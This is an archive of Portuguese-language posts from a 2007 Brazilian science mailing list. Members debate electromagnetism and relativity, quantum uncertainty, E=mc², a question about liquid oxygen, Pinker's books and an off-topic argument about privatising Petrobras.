Enviada em: sábado, 12 de maio de 2007 17:36
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida

O retorno a seguir está meio longo, devido ao nível de detalhamento que
coloquei. E o fiz pensando nos ciencialisteiro que não física em seu dia a
dia, mas que têm curiosidade ou interesse nessas coisas, e se dispõem a ler,
honrando nossos esforços.

Espero que não tenha ficado enfadonho demais.

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SUBJECT: Re: RES: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 17:44

Se não for reconhecida e estabelecida como *útil*, cabal e oportuna não deve
ser intuição.
Vc tem razão: concretar a coisa pode ser melhor ainda.
A realização de uma intuição poderá ser os outros 98% do esforço, que já
conhecemos.
Num segundo poderemos conceber sacadas para toda uma vida, ou +.
No entanto, sem o início do processo do ''insight'' teremos os clássicos
100% de vazio e inquietação.
abr/M.


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: RES: [ciencialist] A idéia que Einstein fazia de Deus
>Date: Sun, 13 May 2007 09:49:51 -0300
>
>De: "murilo filo"
>
> >Não explicou e nem vai explicar.
>Só mostrou o mecanismo.
>A intuição está além da pura intelectualidade e da emoção.
>Vem bem mais de dentro, coisa que os gringos ainda vão explicar -
>racionalmente.
>Vc tem intuição? Tem coisa melhor?<
>
>Sim, a concretização da intuição.
>
>[]'
> Léo
>
>
>
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>Página de apoio
>http://www.ciencialist.com
>
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>




SUBJECT: Fw: Oxig�nio
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 18:31

Help! não entendi!

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: inaldolopes
Para: leobarretos@uol.com.br
Enviada em: sábado, 12 de maio de 2007 09:23
Assunto: Oxigênio


Professor,

Gostaria de saber qual o volume específico do Oxigênio líquido à temperatura de 21º C e 1 atm. e como se chega a esse resultado,

Agradeço desde já a sua ajuda.


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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Homero: Pinker
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 18:36

Olá, Homero.

> Eu li Tabula Rasa e é fantástico, vale o esforço (não é um livro
fácil
> ou simples). E vale muitas vezes seu preço, embora livros no Brasil
> custem um absurdo.

Eu tenho esse livro, e comecei a lê-lo. O Pinker escreve muito bem, é
muito inteligente, e é um ótimo divulgador científico. Ele tem muito
bem desenvolvida a habilidade que William James já observou, quando
se trata de estudar o ser humano, de fazer o natural parecer
estranho. Mas parece que neste livro o enfoque geral dele é a guerra
entre os "culturalistas" e o novo paradigma cognitivo. Ao meu ver,
essa guerra já foi travada no final do século XX e os "culturalistas"
já foram derrotados (ou estou enganado?). O Pinker ainda quer outra
batalha? Este livro tinha que ter sido publicado lá por 1996. Aí sim
ele seria quente. Vou ver se leio o primeiro livro dele, The language
instinct.

Saudações.
João de Carvalho





SUBJECT: OT: Documentário: The Trap
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 19:19

Saiu um documentário novo do Adam Curtis (o mesmo de "Power of
Nightmares"). Este trata de algumas armadilhas conceituais muuito
comuns no século 20/21.
Legendas em: http://www.opensubtitles.org/pt/search/sub...b/idmovie-24623

Sobre o documentário:
http://en.wikipedia.org/wiki/The_Trap_(television_documentary_series)


SUBJECT: Re: Por quanto venderíamos a Petrobrás?
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 19:26

Olá, Victor.

> Quanto à Petrobrás, não tenho a menor dúvida de que ainda não há
competência
> técnica para dizer se vale 200 ou 500 bilhões.

Acho que são instituições muito competentes que avaliam o valor das
empresas. A Forbes é uma delas. Segundo esta fonte, se eu não me
engano, a Petrobrás vale um pouco mais de 110 bilhões de dólares. É
uma grana significativa. Daria para investir muito em infraestrutura
e educação. Além do que, o mais provável é que a Petrobrás crescesse
muito mais com sua privatização, como foi o caso da Vale e da
Embraer. Parece não ser o caso da Light, por exemplo, que distribui
eletricidade no Rio de Janeiro. Mas a Light não tem concorrência. Sem
concorrência o capitalismo não funciona bem. É um absurdo deixarem
que uma empresa tenha o monopólio de algum mercado. Você falou do
sucesso da privatização das telefônicas. Em telefonia celular, aqui
no Rio tem 4 empresas concorrendo. Os preços e benefícios que elas
oferecem aos seus clientes são grandes. Chegam até a ser
inconvenientes. Uma moça da Tim já ligou para o meu celular me
oferecendo um monte de vantagens para mudar de operadora.

> Simplesmente acho que
> dinheiro nenhum justificaria sua privatização. Trata-se de uma
Empresa de
> caráter estratégico

Esse é o principal argumento dos que defendem uma Petrobrás estatal.
Mas em vários países desenvolvidos, se eu não me engano, as empresas
petrolíferas encontram-se nas mãos do capital privado. E essa
história de caráter estratégico é meio nebulosa. O Brasil não vai
entrar em nenhuma guerra. Que mal poderia ocorrer estrategicamente
falando? Não haver suprimento de combustível para abastecer os
carros, navios e aviões? Será que isso é possível de ocorrer?

Meus pais têm ações da Petrobrás. Gostaria que ela fosse privatizada
para ver o valor dessas ações crescerem. Mas realmente é um fato que,
mesmo sendo estatal, a empresa apresenta um nível de crescimento
considerável. Só acho que, com a privatização, a Petrobrás se
transformaria em uma gigante global.

Saudações.
João de Carvalho




SUBJECT: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 19:35

Ainda não, Léo.

Darei uma olhada agora, mas só poderei voltar a este assunto

na próxima semana, quando estudarei tudo com calma.

Tenho que fechar um orçamento já, já. Senão o concorrente me passa a perna.

Que não é de pau.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: domingo, 13 de maio de 2007 17:32
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida



Oi Victor,

vc chegou a ver as figuras em
http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm ?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: domingo, 13 de maio de 2007 12:51
Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida

De: ciencialist@yahoogrupos.com.br <mailto:ciencialist%40yahoogrupos.com.br>
[mailto:ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> ]
Em nome de Luiz Ferraz Netto
Enviada em: domingo, 13 de maio de 2007 09:45
Para: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida

Léo: Oi Victor,

vou contestar tudo que vc disse e dar os argumentos pertinentes. Apenas
aguarde para a continuação da leitura do texto onde vou citar as três
possibilidades.

Todavia, já contestando, vou apontar uma 'falhazinha' no seguinte texto de
sua argumentação:

>"Mas um campo magnético devido a uma corrente I numa dada direção é
concêntrico à direção da corrente, sendo, portanto, perpendicular ao
segmento R, saindo do papel ou entrando no papel onde R está desenhado, esse
mesmo R que liga o centro de L ao ponto onde está Q; mas somente se fosse o
caso de haver movimento relativo entre eles. Que, evidentemente, não há.
Assim, a força resultante sobre Q seria o resultado de uma composição
vetorial entre Fm e Fe, e não resultante de operação escalar, como foi feito
acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
depreende da proposição inicial."

Aqui vc se esqueceu de um fato: Vc tem duas mãos! E vc usou uma só; a regra
da mão direita para achar a direção e sentido do campo magnético B. OK, o
campo B produzido pela corrente I em L, na posição de Q, é "saindo do
papel", perpendicular à direção R. OK.
Agora vamos usar a outra mão, a esquerda (lembra dela :-)) e colocar o
indicador no sentido de B (saindo do papel), o dedo médio no sentido de v
(para baixo) e teremos como resultado a força de Lorentz Fm para "dentro",
dirigida para L e, portanto, diretamente oposta à Fe; dai F = Fe - Fm (logo,
uma mera operação escalar; Fe e Fm são colineares).

Victor: Tem razão. E esqueci mesmo. E isto é óbvio. Apenas, no calor da
escrita, por algum desses motivos que só depois dão o estalo, fiquei só com
a direção de B. Foi precisamente isso que corrigí no anterior. Tudo bem.
Mas já disse, ninguém é perfeito...

Leó: Agora vou preparar a continuação do texto e ... pode tirar o cavalinho
da chuva, pois há movimento relativo entre Q (para baixo) e o CAMPO B
(estacionário, pois B se repete identicamente em todos os pontos). Quem age
sobre Q (móvel) é B (fixo) e não a corrente I ou o fio infinito com
distribuição uniforme de cargas em movimento.

Isso é só para amaciar! :-))

Victor: Ok.

Sds,

Victor.

Té mais, vou aumentar meu texto ..........

aquele abraço,

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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
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-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
<mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: sábado, 12 de maio de 2007 17:36
Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida

O retorno a seguir está meio longo, devido ao nível de detalhamento que
coloquei. E o fiz pensando nos ciencialisteiro que não física em seu dia a
dia, mas que têm curiosidade ou interesse nessas coisas, e se dispõem a ler,
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Por quanto venderíamos a Petrobrás?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 19:37

O tema não é adequado para o C-List. Por gentileza demais listeiros não responderem ou darem algum crédito. Aqui não é lista de discussão sobre POLÍTICA! Será tão difícil perceber isso????

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 13 de maio de 2007 19:26
Assunto: [ciencialist] Re: Por quanto venderíamos a Petrobrás?


Olá, Victor.

> Quanto à Petrobrás, não tenho a menor dúvida de que ainda não há
competência
> técnica para dizer se vale 200 ou 500 bilhões.

Acho que são instituições muito competentes que avaliam o valor das
empresas. A Forbes é uma delas. Segundo esta fonte, se eu não me
engano, a Petrobrás vale um pouco mais de 110 bilhões de dólares. É
uma grana significativa. Daria para investir muito em infraestrutura
e educação. Além do que, o mais provável é que a Petrobrás crescesse
muito mais com sua privatização, como foi o caso da Vale e da
Embraer. Parece não ser o caso da Light, por exemplo, que distribui
eletricidade no Rio de Janeiro. Mas a Light não tem concorrência. Sem
concorrência o capitalismo não funciona bem. É um absurdo deixarem
que uma empresa tenha o monopólio de algum mercado. Você falou do
sucesso da privatização das telefônicas. Em telefonia celular, aqui
no Rio tem 4 empresas concorrendo. Os preços e benefícios que elas
oferecem aos seus clientes são grandes. Chegam até a ser
inconvenientes. Uma moça da Tim já ligou para o meu celular me
oferecendo um monte de vantagens para mudar de operadora.

> Simplesmente acho que
> dinheiro nenhum justificaria sua privatização. Trata-se de uma
Empresa de
> caráter estratégico

Esse é o principal argumento dos que defendem uma Petrobrás estatal.
Mas em vários países desenvolvidos, se eu não me engano, as empresas
petrolíferas encontram-se nas mãos do capital privado. E essa
história de caráter estratégico é meio nebulosa. O Brasil não vai
entrar em nenhuma guerra. Que mal poderia ocorrer estrategicamente
falando? Não haver suprimento de combustível para abastecer os
carros, navios e aviões? Será que isso é possível de ocorrer?

Meus pais têm ações da Petrobrás. Gostaria que ela fosse privatizada
para ver o valor dessas ações crescerem. Mas realmente é um fato que,
mesmo sendo estatal, a empresa apresenta um nível de crescimento
considerável. Só acho que, com a privatização, a Petrobrás se
transformaria em uma gigante global.

Saudações.
João de Carvalho




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SUBJECT: Re: Determinismo e incerteza
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 19:52

Oi Alberto,

Sei lá, me parece que o princípio da incerteza tem funcionado muito
bem. Quem garante que as coisas funcionariam melhor sem ele?

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Alberto Mesquita Filho"
<albmesq@...> escreveu
>
> ----- Original Message -----
> From: "José Carlos Antonio"
> Sent: Sunday, May 13, 2007 10:22 AM
> Subject: [ciencialist] Re: Determinismo e incerteza
>
> > Só por curiosidade: a mim pouco importa se o elétron é ou não uma
> > carga columbiana, mas fico curioso para saber o que estamos perdendo
> > com essa suposição que você julga ser errada. O que estamos
> > perdendo?
>
> Macroscopicamente nada, pois o eletromagnetismo funciona
> independentemente do conhecimento de suas unidades básicas. Quase toda
> a tecnologia do século XX apóia-se no eletromagnetismo como formulado
> por Maxwell (Maxwell não chegou a conhecer os elétrons, ainda que
> tivesse razões para suspeitar de sua existência). Microcosmicamente
> tudo pois, da maneira como a física "moderna" está estabelecida,
> estamos evoluindo numa direção onde a decifração íntima da natureza
> material tem se mostrado impossível. Isso graças a um "princípio"
> absurdo que, decorrente de um grande número de erros que vem sendo
> cometidos, acabou por se tornar fundamental. Estou falando do
> princípio da incerteza que, a bem da verdade, poderia ser chamado
> princípio da ignorância, pois a ignorância, no que diz respeito à
> decifração da natureza íntima da matéria, é tudo o que ele nos
> assegura.
>
> [ ]´s
> Alberto
> http://ecientificocultural.com/indice.htm
> Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
> coulombiana e a Terra se move. E a história se repetirá.
>




SUBJECT: Re: Por quanto venderíamos a Petrobrás?
FROM: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 19:53

Caro Luiz:

> Tente perceber que isso é postagem sobre POLÍTICA .... faça uma
forcinha, não é tão difícil!

Realmente é um pouco off topic, mas esta é a lista que eu conheço que
apresenta a maior concentração de pessoas inteligentes e bem
informadas, além do que não se trata de uma questão política, e sim
econômica. Até onde eu sei, economia é uma ciência. Pode-se dizer que
é uma ciência das áreas sociais, mas é a ciência social que está mais
próxima das ciências naturais. Os modelos que eles elaboram para
descrever e compreender o comportamento dos mercados são bastante
sofisticados. Além do que, em algum momento a economia vai se tornar
uma verdadeira ciência. Ao contrário da sociologia, que se encontra
em delírios estratosféricos que a fizeram se esquecer das coisas que
ela deveria estar realmente estudando, a economia tem os pés no chão.

Sobre a questão da política, está certo que ficar falando de Lula,
Iraque ou Sègoléne é off topic. Mas, vista de um outro ângulo, a
política é uma ciência natural. Já ouviu falar daquele livro,
"Chimpanze politics", do de Waal? No fundo tudo é ciência, embora não
tenhamos ainda a capacidade de integrar todas as áreas do
conhecimento em um único modelo teórico. A chave para isso é o homem.
Temos que desenvolver uma ciência do homem, e isso já está sendo
feito.

Saudações.
João de Carvalho




SUBJECT: Re: [ciencialist] Re: Por quanto venderíamos a Petrobrás?
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 20:33

Esse tema e essa resposta não são pertinentes à C-List. Solicito aos demais listeiros que não a respondam ou dêem prosseguimento. Todavia podem control-C e control-V para listas políticas e afins. Seria interessante apagá-las do rol das mensagens da C-List.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Joao de Carvalho" <joaobncarvalho@hotmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 13 de maio de 2007 19:53
Assunto: [ciencialist] Re: Por quanto venderíamos a Petrobrás?


Caro Luiz:

> Tente perceber que isso é postagem sobre POLÍTICA .... faça uma
forcinha, não é tão difícil!

Realmente é um pouco off topic, mas esta é a lista que eu conheço que
apresenta a maior concentração de pessoas inteligentes e bem
[...]


SUBJECT: Re: Preciso fazer uma pergunta, pois estou c/dúvida
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 20:43

Léo,

A velocidade v que você usa na fórmula Fm = Qv/c X B não deve ser a
velocidade da carga Q em relação ao campo?

Supondo que o fio criasse um campo sensível à Q e dependente da
velocidade do observador, teríamos o resultado interessante de que
qualquer fio retílineo criaria infinitos campos simultâneos, um para
cada um dos infinitos observadores possíveis, mas isso não parece ser
muito "natural" (embora possa ser tratado teoricamente).

Creio que a carga Q do seu problema "não vê" o campo que o observador
vê porque ela está em repouso em relação às cargas do fio. Ou, em
outras palavras, o que importa nesse problema é a velocidade relativa
entre a carga Q e as cargas do fio.

Evidentemene fica a pergunta: se o observador vê um campo magnético
gerado pelo fio e vê uma carga elétrica Q "movendo-se", então porque
será que ele não vê nenhuma força magnética "extra" alterando a
resultante em Q? Bom, talvez ele veja, mas em compensação também verá
um campo elétrico não-estático. Eu não pretendo fazer as contas, mas
acho que se levarmos isso em consideração ficará mostrado que a
resultante sobre Q será a mesma.

Pense nisso. (E faça as contas, se tiver tempo)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Oi Victor,
>
> vc chegou a ver as figuras em
>
http://www.feiradeciencias.com.br/provisorio/principio_da_relatividade.htm
?
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "J.Victor" <j.victor.neto@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: domingo, 13 de maio de 2007 12:51
> Assunto: RES: [ciencialist] Preciso fazer uma pergunta, pois estou
c/dúvida
>
>
>
>
>
>
> De: ciencialist@yahoogrupos.com.br
[mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Luiz Ferraz Netto
> Enviada em: domingo, 13 de maio de 2007 09:45
> Para: ciencialist@yahoogrupos.com.br
> Assunto: Re: [ciencialist] Preciso fazer uma pergunta, pois estou
c/dúvida
>
>
>
> Léo: Oi Victor,
>
> vou contestar tudo que vc disse e dar os argumentos pertinentes. Apenas
> aguarde para a continuação da leitura do texto onde vou citar as três
> possibilidades.
>
> Todavia, já contestando, vou apontar uma 'falhazinha' no seguinte
texto de
> sua argumentação:
>
> >"Mas um campo magnético devido a uma corrente I numa dada direção é
> concêntrico à direção da corrente, sendo, portanto, perpendicular ao
> segmento R, saindo do papel ou entrando no papel onde R está
desenhado, esse
> mesmo R que liga o centro de L ao ponto onde está Q; mas somente se
fosse o
> caso de haver movimento relativo entre eles. Que, evidentemente, não há.
> Assim, a força resultante sobre Q seria o resultado de uma composição
> vetorial entre Fm e Fe, e não resultante de operação escalar, como
foi feito
> acima, pois Fm e Fe seriam perpendiculares e não colineares, como se
> depreende da proposição inicial."
>
> Aqui vc se esqueceu de um fato: Vc tem duas mãos! E vc usou uma só;
a regra
> da mão direita para achar a direção e sentido do campo magnético B.
OK, o
> campo B produzido pela corrente I em L, na posição de Q, é "saindo do
> papel", perpendicular à direção R. OK.
> Agora vamos usar a outra mão, a esquerda (lembra dela :-)) e colocar o
> indicador no sentido de B (saindo do papel), o dedo médio no sentido
de v
> (para baixo) e teremos como resultado a força de Lorentz Fm para
"dentro",
> dirigida para L e, portanto, diretamente oposta à Fe; dai F = Fe -
Fm (logo,
> uma mera operação escalar; Fe e Fm são colineares).
>
> Victor: Tem razão. E esqueci mesmo. E isto é óbvio. Apenas, no calor da
> escrita, por algum desses motivos que só depois dão o estalo, fiquei
só com
> a direção de B. Foi precisamente isso que corrigí no anterior.
Tudo bem.
> Mas já disse, ninguém é perfeito...
>
> Leó: Agora vou preparar a continuação do texto e ... pode tirar o
cavalinho
> da chuva, pois há movimento relativo entre Q (para baixo) e o CAMPO B
> (estacionário, pois B se repete identicamente em todos os pontos).
Quem age
> sobre Q (móvel) é B (fixo) e não a corrente I ou o fio infinito com
> distribuição uniforme de cargas em movimento.
>
> Isso é só para amaciar! :-))
>
> Victor: Ok.
>
> Sds,
>
> Victor.
>
>
>
> Té mais, vou aumentar meu texto ..........
>
> aquele abraço,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@... <mailto:leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "J.Victor" <j.victor.neto@... <mailto:j.victor.neto%40uol.com.br>
> >
> Para: <ciencialist@yahoogrupos.com.br
> <mailto:ciencialist%40yahoogrupos.com.br> >
> Enviada em: sábado, 12 de maio de 2007 17:36
> Assunto: [ciencialist] Preciso fazer uma pergunta, pois estou c/dúvida
>
> O retorno a seguir está meio longo, devido ao nível de detalhamento que
> coloquei. E o fiz pensando nos ciencialisteiro que não física em seu
dia a
> dia, mas que têm curiosidade ou interesse nessas coisas, e se
dispõem a ler,
> honrando nossos esforços.
>
> Espero que não tenha ficado enfadonho demais.
>
> [ ... ]
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>
> ##### ##### #####
>
> Página de apoio
> http://www.ciencialist.com
>
>
> ##### ##### ##### #####
> Links do Yahoo! Grupos
>
>
>
>
> --
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.6.5/793 - Release Date:
07/05/2007 14:55
>




SUBJECT: Re: Fw: Oxigênio
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 20:45

Oxigênio líquido a 21º C e 1 atm? Eu também gostaria de saber como se
consegue isso. :)

Abraços,
JC


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Help! não entendi!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: inaldolopes
> Para: leobarretos@...
> Enviada em: sábado, 12 de maio de 2007 09:23
> Assunto: Oxigênio
>
>
> Professor,
>
> Gostaria de saber qual o volume específico do Oxigênio líquido à
temperatura de 21º C e 1 atm. e como se chega a esse resultado,
>
> Agradeço desde já a sua ajuda.
>
>
>
--------------------------------------------------------------------------------
>
>
> No virus found in this incoming message.
> Checked by AVG Free Edition.
> Version: 7.5.467 / Virus Database: 269.6.5/793 - Release Date:
07/05/2007 14:55
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 21:58

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> Takata >>> Você pode dividir o carro sem separar as
> partes.
>
> --- Ok. Mas como? Pode dar um exemplo?

Separar aqui entenda-se como afastar - já q vc falava em aumentar o
espaço entre as partes. Vc pode desde simplesmente desatarraxar o
pneu, sem tirá-lo do lugar, até ter porções das moléculas de plástico
do painel q se rompem sem sair do lugar.

[]s,

Roberto Takata



SUBJECT: Re: E=m.c2
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 22:04

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Será que o elétron é elementar mesmo?

Bem, só se a teoria das supercordas vingar. Aí a "partícula" elementar
seria uma corda (aqui sim, na forma clássica, em dimensões
planckianas) ou branas n-dimensionais.

Os físicos matemáticos já chegaram nos espaços de Kaluza-Klein, mas
ainda não foram capazes de extrair nenhuma grande previsão pronta para
teste de hipótese. A esperança é q a nova geração de colisores possam
testar os limites de algumas versões das teorias-M.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 22:20

----- Original Message -----
From: "Silvio Cordeiro"
Sent: Friday, May 11, 2007 11:13 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

> Meu scanner quebrou se não colocaria aqui a carta que ele mandou
> para o Pres. Roosevelt comentando os estudos para a primeira bomba
> A....

Vide (em inglês) http://hypertextbook.com/eworld/einstein.shtml

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.



SUBJECT: Re: [ciencialist] A idéia que Einstein fazia de Deus
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/05/2007 22:45

Alberto:
Só tinha cópia da primeira....
Muito obrigado!!

silvio.
----- Original Message -----
From: Alberto Mesquita Filho
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, May 13, 2007 10:20 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus


----- Original Message -----
From: "Silvio Cordeiro"
Sent: Friday, May 11, 2007 11:13 PM
Subject: Re: [ciencialist] A idéia que Einstein fazia de Deus

> Meu scanner quebrou se não colocaria aqui a carta que ele mandou
> para o Pres. Roosevelt comentando os estudos para a primeira bomba
> A....

Vide (em inglês) http://hypertextbook.com/eworld/einstein.shtml

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Determinismo e incerteza
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 23:50

--- Em ciencialist@yahoogrupos.com.br, "Jeff" <jeff@...> escreveu
> Eu não conheço bem estas interpretações da mecânica quântica, mas
> entendo que não é possível existir aleatoriedade objetiva em um
> sistema fechado! Ou estou errado? Eu acredito na falta de
> conhecimento de variáveis que podem determinar certos comportamentos
> quânticos e na prepotência de cientistas em afirmarem que não.

Tto qto os resultados experimentais indicam, vc está errado
(interpretando "aleatoriedade objetiva" como o correpondente a
"indeterminação quântica em princípio").

QUANTUM MECHANICS: THE TRUTH ABOUT REALITY
http://www.nature.com/nature/journal/v445/n7129/full/445723a.html

Uma tradução tosca em:
http://br.groups.yahoo.com/group/ciencialist/message/61107

[]s,

Roberto Takata



SUBJECT: Re: Determinismo e incerteza
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/05/2007 23:50

----- Original Message -----
From: "José Carlos Antonio"
Sent: Sunday, May 13, 2007 7:52 PM
Subject: [ciencialist] Re: Determinismo e incerteza

> Sei lá, me parece que o princípio da incerteza
> tem funcionado muito bem. Quem garante que as
> coisas funcionariam melhor sem ele?

Como teria dito Ludwig Boltzmann, num contexto bastante semelhante:

"Who see the future? Let us have free scope for all directions of
research; away with all dogmatism, either atomistic or antiatomistic!"
[Lectures on Gas Thery, 1895, Dover Publications, p. 26].

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.




SUBJECT: Re: E=m.c2
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/05/2007 02:18

Bom, cumpadre, até onde eu sei as "coisas que existem" se resumem às
partículas elementares (quarks, léptons e glúons). As pessoas
normalmente associam a matéria com "coisas que tem massa", mas eu não
sei se isso é bom ou ruim. Na verdade não acho que seja relevante
saber o que é a matéria, pois seja lá o que ela for nós só precisamos
conhecer suas propriedades.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
<scordeiroes@...> escreveu
>
> Izé:
>
> Chucro na matéria, até agora não entendi nada: tenh9 sérias
limitaçoes intelectuais, gosto de ler as coisas límpidas, claras como
o sol, suaves como o luar:
>
> Um cita uma conclusão que o outro contesta. e eu entro em parafuso:
>
> qual o endereço do seu blog?
>
> Tem um texto bem claro que defina o que é matéria, a essência do
universo?
>
> brigadão,
>
> silvio.
> ----- Original Message -----
> From: José Carlos Antonio
> To: ciencialist@yahoogrupos.com.br
> Sent: Friday, May 11, 2007 6:37 PM
> Subject: [ciencialist] Re: E=m.c2
>
>
> Silvio, cumpadre, se o JC for eu a minha resposta é que, se for
> possível fazer algo com a suposição feita, então a suposição é
> relevante, senão, pouco importa. O Takata já listou à poucas mensagens
> algumas respostas que gostaríamos de obter com as sempre novas e
> interessantes hipóteses que vivem aparecendo.
>
> Abraços,
> JC
>
> --- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> <scordeiroes@> escreveu
> >
> > Mestre Takata e JC::
> >
> > Vão responder? estou curioso...
> >
> > silvio.
> >
> >
> > ----- Original Message -----
> > From: Jeff
> > To: ciencialist@yahoogrupos.com.br
> > Sent: Tuesday, May 08, 2007 12:02 PM
> > Subject: Re: [ciencialist] Re: E=m.c2
> >
> >
> > >
> > >A conclusão de que a matéria é uma onda
> > >estacionária em trajetória fechada é algo
